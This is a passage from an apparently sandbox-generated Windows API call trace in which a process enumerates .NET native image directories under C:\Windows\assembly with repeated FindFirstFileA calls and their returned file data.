ftCreationTime.dwLowDateTime=0x179bfee6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc0d5840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc0d5840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.403] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6fa556, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc0d5840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc0d5840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.407] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.EnterpriseSe#\\887ef2648686aad19feff405eddbffd2\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6fa556, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc0d5840, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc0d5840, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.412] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x583be6d8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc0fb9a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc0fb9a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.419] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityMode#\\5490e4be56d6b1a80586439ac8b09b77\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x583be6d8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc0fb9a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc0fb9a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.424] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57dcafcd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc0fb9a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc0fb9a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.429] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x57dcafcd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc121b00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc121b00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.434] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89224b99, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc121b00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc121b00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.439] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IO.Log\\19837bdc62b7667aba81364142e3565a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89224b99, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc121b00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc121b00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.444] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5de7ee3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc147c60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc147c60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.449] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5de7ee3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc147c60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc147c60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.457] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66bfaae4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc16ddc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc16ddc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.462] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\4436815b432c313255af322f4ec3560d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x66bfaae4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc16ddc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc16ddc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.468] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.I#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8970d902, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc16ddc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc16ddc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.473] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.I#\\17e443d6c643b83137beb310adee3c48\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8970d902, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc193f20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc193f20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.482] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Messaging\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x581f5655, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc193f20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc193f20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.488] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Messaging\\9c17882ea083259c36cfd691f7c0835b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x581f5655, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc1ba080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc1ba080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.495] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Net\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89d7342e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc1ba080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc1ba080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.502] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Net\\964a515210f3bad01949e9ae4f83c7b2\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89d7342e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc1ba080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc1ba080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.512] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Printing\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc086db1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc1e01e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc1e01e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.519] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Printing\\aac5817d96d0ddcffebc1c45000e9008\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc086db1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc1e01e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc1e01e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.526] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Remo#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2f57f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc206340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc206340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.533] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Remo#\\5cae93d923c8378370758489e5535820\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2f57f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc206340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc206340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.540] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e83327, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc22c4a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc22c4a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.546] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\0728af1479c3388cadf85ccfc2b12582\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e83327, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc22c4a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc22c4a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.551] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Runtime.Seri#\\4a984a9ad59d14063bc6ae64a0c8f62a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e719250, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc252600, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc252600, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.557] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5029e8b, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xc252600, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc252600, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.562] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security\\d9a485330ec2708456134e4a9712a4ab\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5029e8b, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xc252600, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc252600, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.567] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x574457bb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc278760, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc278760, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.572] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel\\e2642bff810609f64343e53dddb6b59c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x574457bb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc278760, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc278760, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.577] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x860c02be, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc278760, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc278760, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.583] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel#\\4782a5d2bc7d86895faf404a3470aacb\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x860e641e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc29e8c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc29e8c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.603] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1876fd80, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc2c4a20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc2c4a20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.607] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceProce#\\20008c75bb41e2febf84d4d4aea5b4e8\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1876fd80, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc2c4a20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc2c4a20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.615] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Speech\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b162c92, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc2eab80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc2eab80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.620] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Speech\\6935e1dad6ec5de21658f8d38999099a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b162c92, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc2eab80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc2eab80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.626] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf283c0d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc2eab80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc2eab80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.631] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\ad18f93fc713db2c4b29b25116c13bd8\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf283c0d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc310ce0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc310ce0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.636] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x13634e2a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc310ce0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc310ce0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.641] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web\\da5da08245467818759aa44c4eb948e1\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x13634e2a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc310ce0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc310ce0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.648] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Abstract#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x862af4a2, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc336e40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc336e40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.654] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Abstract#\\3112fe15b1994ff59b169cf7ce997e71\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, 